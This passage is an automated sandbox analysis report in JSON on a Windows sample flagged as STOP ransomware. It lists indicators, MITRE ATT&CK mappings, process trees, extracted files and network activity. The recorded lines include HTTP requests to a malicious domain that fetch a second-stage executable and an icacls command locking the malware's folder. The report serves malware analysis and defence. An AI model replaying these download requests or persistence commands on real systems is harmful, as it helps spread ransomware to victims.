matched on file \"obfs4proxy.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"snowflake-client.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"tor-gencert.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 1139 files (often an indicator for ransomware)","origin":"Binary File","mitre_attack_id":"T1491.001","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$63","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"$64","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops executable files inside user directory","description":"\"MicrosoftEdgeSetup.exe.xlzor0p.partial\" has type \"MS-DOS executable\"- Location: [%USERPROFILE%\\Downloads\\MicrosoftEdgeSetup.exe.xlzor0p.partial]- [targetUID: 00000000-00006816]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-32","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops executable files with unusual extensions","description":"\"appwiz.cpl\" has type \"MS-DOS executable\" and unusual extension \"cpl\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":10,"id":"binary-17","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetStartupInfoW\n FindNextFileA\n GetFileAttributesA\n GetCommandLineA\n UnhandledExceptionFilter\n OpenFileMappingW\n LoadLibraryA\n GetTickCount\n GetModuleFileNameA\n WriteFile\n DeleteFileA\n GetProcAddress\n GetModuleHandleA\n IsDebuggerPresent\n LoadLibraryW\n GetModuleHandleW\n CreateFileW\n TerminateProcess\n GetSystemDirectoryW\n Sleep\n GetModuleFileNameW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" has a section named \".desax\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Rename many files (often indicator of ransomware infection)","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" renames more than 200 files","origin":"API Call","mitre_attack_id":"T1036","relevance":10,"id":"api-164","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Write many files with double extensions (often indicator of ransomware infection)","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" write more than 100 files with extension \"..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest\"","origin":"API Call","mitre_attack_id":"T1486","relevance":5,"id":"api-201","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"$65","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"ShellExecuteA\" with parameter %LOCALAPPDATA%\\2c5e88be-1b09-45a3-bf46-9344370fc3da\\build3.exe (UID: 00000000-00006816)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 72EF0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" set thread context in remote process \"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (PID: 290)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" set thread context in remote process \"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (PID: 1aa0)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" set thread context in remote process \"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (PID: 1cb8)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$66","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"zexeq.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: Microsoft Internet Explorer","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /files/1/build3.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00006816\" as \"Detects STOP ransomware\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00007352\" as \"Detects STOP ransomware\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" (UID: 00000000-00005384)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Renames many files with double extensions (often indicator of ransomware infection)","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" renames more than 100 files with extension \".resources_31bf3856ad364e35_10.0.17134.1_kok-in_8954f2bed0ca321e.manifest.ahui\"","origin":"API Call","mitre_attack_id":"T1486","relevance":10,"id":"api-200","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (UID: 00000000-00003720)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (UID: 00000000-00000656)\n Spawned process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" (UID: 00000000-00005384)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00005260)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00006816)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Task\" (UID: 00000000-00005660)\n Spawned process \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" with commandline \"--Task\" (UID: 00000000-00007352)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Exploit","details_count":2,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"},{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":11,"imported_dlls_count":96,"dropped_files_count":0,"extracted_files_count":74,"files_written_count":245,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["commodity","informationstealer","stop","vidarstealer","credentialharvesting","criminal","ransomware","downloader","dridex","filecoder","maldoc","spambot","banker","pegasus","tofsee","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"67f24d47ccc11a9e280e1ea4","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU","USA"],"submit_name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","analysis_start_time":"2025-04-06T09:45:44+00:00","indicators_count":{"informative":201,"suspicious":63,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.16.1","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"address":"188.40.141.211","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"dns_resolutions":[{"domain":"api.2ip.ua","address":"104.21.16.1","ttl":280,"country":"United States","registrar_name":"ua.101domain","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"domain":"zexeq.com","address":"188.40.141.211","ttl":21498,"country":"Germany","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"NS1.NEWCRYPTOR.ORG","registrar_creation_date":"2023-01-19T10:03:37+00:00","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"http_requests":[{"host":"api.2ip.ua","host_ip":"104.21.16.1:443","url":"/geo.json","method":"GET","response_code":"429","response_phrase":"Too Many Requests","header":"GET /geo.json HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: api.2ip.ua","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"host":"zexeq.com","host_ip":"188.40.141.211:80","url":"/raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"host":"zexeq.com","host_ip":"188.40.141.211:80","url":"/files/1/build3.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/1/build3.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}],"processes":[{"pid":3720,"ppid":0,"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","command_line":"","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","normalized_path":"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","uid":"00000000-00003720","icon":"$67"},{"pid":656,"ppid":3720,"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","command_line":"","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","normalized_path":"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","parent_uid":"00000000-00003720","uid":"00000000-00000656"},{"pid":5384,"ppid":656,"name":"icacls.exe","command_line":"icacls \"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\" /deny *S-1-1-0:(OI)(CI)(DE,DC)","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00000656","uid":"00000000-00005384"},{"pid":5260,"ppid":656,"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","command_line":"--Admin IsNotAutoStart IsNotTask","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","normalized_path":"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","parent_uid":"00000000-00000656","uid":"00000000-00005260"},{"pid":6816,"ppid":5260,"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","command_line":"--Admin IsNotAutoStart IsNotTask","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","normalized_path":"C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","parent_uid":"00000000-00005260","uid":"00000000-00006816"},{"pid":5660,"ppid":0,"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","command_line":"--Task","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","normalized_path":"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","uid":"00000000-00005660","icon":"$68"},{"pid":7352,"ppid":5660,"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","command_line":"--Task","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","normalized_path":"%LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","parent_uid":"00000000-00005660","uid":"00000000-00007352"}],"all_imported_dlls":["KernelBase.dll","win32u.dll","cryptsp.dll","crypt32.dll","cryptbase.dll","winmm.dll","iertutil.dll","davclnt.dll","kernel32.dll","imm32.dll","ws2_32.dll","uxtheme.dll","msasn1.dll","urlmon.dll","wintrust.dll","clbcatq.dll","wow64win.dll","ucrtbase.dll","rpcrt4.dll","sspicli.dll","combase.dll","rsaenh.dll","edputil.dll","winsta.dll","wow64.dll","wow64cpu.dll","msvcrt.dll","msimg32.dll","winnsi.dll","imagehlp.dll","bcrypt.dll","schannel.dll","bcryptprimitives.dll","oleaut32.dll","dwmapi.dll","SHCore.dll","powrprof.dll","mpr.dll","ncrypt.dll","dpapi.dll","apphelp.dll","advapi32.dll","profapi.dll","nsi.dll","cldapi.dll","cscapi.dll","gdi32full.dll","sechost.dll","shell32.dll","windows.storage.dll","xmllite.dll","Windows.StateRepositoryPS.dll","FWPUCLNT.DLL","netapi32.dll","VxSSL32.dll","msctf.dll","dhcpcsvc.dll","drprov.dll","wkscli.dll","samcli.dll","winhttp.dll","kernel.appcore.dll","dnsapi.dll","mswsock.dll","netutils.dll","gdi32.dll","cfgmgr32.dll","ntasn1.dll","ncryptsslp.dll","aepic.dll","shlwapi.dll","IPHLPAPI.DLL","mskeyprotect.dll","cryptnet.dll","psapi.dll","pcacli.dll","sfc_os.dll","browcli.dll","fltLib.dll","OnDemandConnRouteHelper.dll","msIso.dll","taskschd.dll","propsys.dll","setupapi.dll","davhlpr.dll","user32.dll","ole32.dll","wininet.dll","winmmbase.dll","gpapi.dll","ntmarta.dll","msvcp_win.dll","rasadhlp.dll","ntlanman.dll","srvcli.dll","ntdll.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe","sha256":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"OneDriveSetup.exe","sha256":"f94faffba8474978c98143381590d4f71eb2ed942be75e79c3c10ecf16902ea3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"python-3.11.0-amd64.exe","sha256":"ac8f5c39650c9988d6fac71bd12de7d2a464d0accc4f129ab8570d6100d896d6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"obfs4proxy.exe","sha256":"d85c05fbf9c92b72a5a95a03a2f3a4e6340b8873a43b32c65318ad0c63c543f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"snowflake-client.exe","sha256":"820ceae0b4d9621d8857c69de4e2755e7f2f2d3b76ab4d7dbf07211d884629c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"tor-gencert.exe","sha256":"953cb76d5f2c5e3a26801585e3c81a40eb08b7ae5f39dd70489a80920c4138c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"tor.exe","sha256":"cafb28f12c8f59a5150c7136b05b5392de3160d3fa20fe7d8be299edefc1d600","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"securekernel.exe","sha256":"2649322b6d4a77bdbaedbe3397eca27cfd0b744c59ec25564429c767eba7d707","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"appwiz.cpl","sha256":"9b9beee3520eef7ffe3d42fa13b7ca82a36dd31f376000183269789b4e92307c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"autofmt.exe","sha256":"99694c08fa59f28449027c9fe4f39f09b507f2c5e133244b8b5c84c7ac049c42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"winresume.exe","sha256":"6dd784971f8e61308d3b27e2fcc7e95f84f8ec659dd677dd3773347db78687fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Built-In Building Blocks.dotx","sha256":"fb04d77cfdf0ea67b8dbcec8eb539dfbb9463d02212369568c664612cc01364e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"ContentStore.xml","sha256":"59db15777b2e93a9fb6f553c3d5856ebdf199e0b743157934c58f0764d477010","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"NormalEmail.dotm","sha256":"68be56d7ed04be1c03162abf76968007c82f5d4baa0f7d0856831898aad6d560","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Welcome to PowerPoint.potx","sha256":"42a13789e6b26a2df66f7cdd52516977a625aa32c3b218bc4e3247d31b4de739","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Welcome to Word.dotx","sha256":"9711daaa0fdcc3a7fe7107bc6b14cfcffebe1683d44f578422333b27a739ec92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"CUSTOM.DIC","sha256":"b60b2e118e2339620af1bbb733007cc4d50ae06addf35c689a250de33a1281a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"AdobeCMapFnt11.lst","sha256":"f92a75c7378640fa889ab2c0462ece7bcba74619c113c33b811b997727cacf36","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"AdobeSysFnt11.lst","sha256":"d3b1a7b3768227be31240c136b72c4e792a99b719933e65800ce49604b9dab93","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"AcroFnt11.lst","sha256":"802aafc8944f8ab8075a295688c096af283590fd8ed2b0f62be6a021260182f3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"ie4uinit-ClearIconCache.log","sha256":"a76a12443fe3a883f72b8a3907e8e23fa439404f4ebbc11c16ffc6da347d1fb3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"ie4uinit-UserConfig.log","sha256":"4a1d0421aeca91af186d6703bfd50e4befc8c371813325b936bd76cfc313072e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"FileSyncConfig.exe","sha256":"036a521d870dad08932d9f6339438638e7952204143db0b20a7df406beb848c4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"FileSync.LocalizedResources.dll.mui","sha256":"b849de5011d58ba2507062051b7d28e12bf126321f954c8d223a0f0ed63bb15c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"OneDrive.exe","sha256":"4295299bddb9b8693dea1b8ea6e992040437d7a00ef506f81208c1f8f9effa62","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"normalizer.exe","sha256":"edc8cf8f00509ad4d8de4d1b6ae02f81932eac43b09dbaa4d3416fa2a4c80581","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"pip.exe","sha256":"b1a6fe6a953f0273be37f0888d846ed976ab4f89f2cb87619f102195d6e409e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"pip3.10.exe","sha256":"72c3de6660259c99b80466bf6393698effe6165f8e3eed9882fb2723ad6b7b0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"pip3.11.exe","sha256":"6eb41a88d6224e78901a811336f24e873ac281011fb5f1d2d5de017be7d12261","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"pip3.exe","sha256":"429bdfe7529fed7e4e15305ddbd2b0d7366f658a29d38c1525f0305f36e75e8c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"python.exe","sha256":"68c3329cd6d69d617bf6efce3082503688e837561236795b407cbcb327420b9d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"pythonw.exe","sha256":"3bd60fa4ae09593ec9cc8971e58e68f695b7c46407cd90d110484bd13ce70400","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"buttonconverter.inf","sha256":"d5792d816cdfe1666875a3a7b65efd7f2299c05c8077ef89188ba50cca837d02","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"c_receiptprinter.inf","sha256":"75a4a771319b82ed80c88e0261ffad62292904dfb68a571cfffc4af39da9629e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"hidbthle.inf","sha256":"3bef60feffb99962ec65bdbb4964c890783afd88fcc34516dfc5870ab393f2ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"hidinterrupt.inf","sha256":"d0d749595f49b8ee62f0d93a013d709b8e9c3591572fb9c80d6d6207c0241ee5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"miradisp.inf","sha256":"093307d82d291a870172ed2acbd59727766bf475d5b7c5de6ac55722bc23331c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"ndisuio.inf","sha256":"7d1d5042bc7cda26b2812043e157b8640449a580118f703565e0b333845c23e1","verdict":"undetected","sources":[{"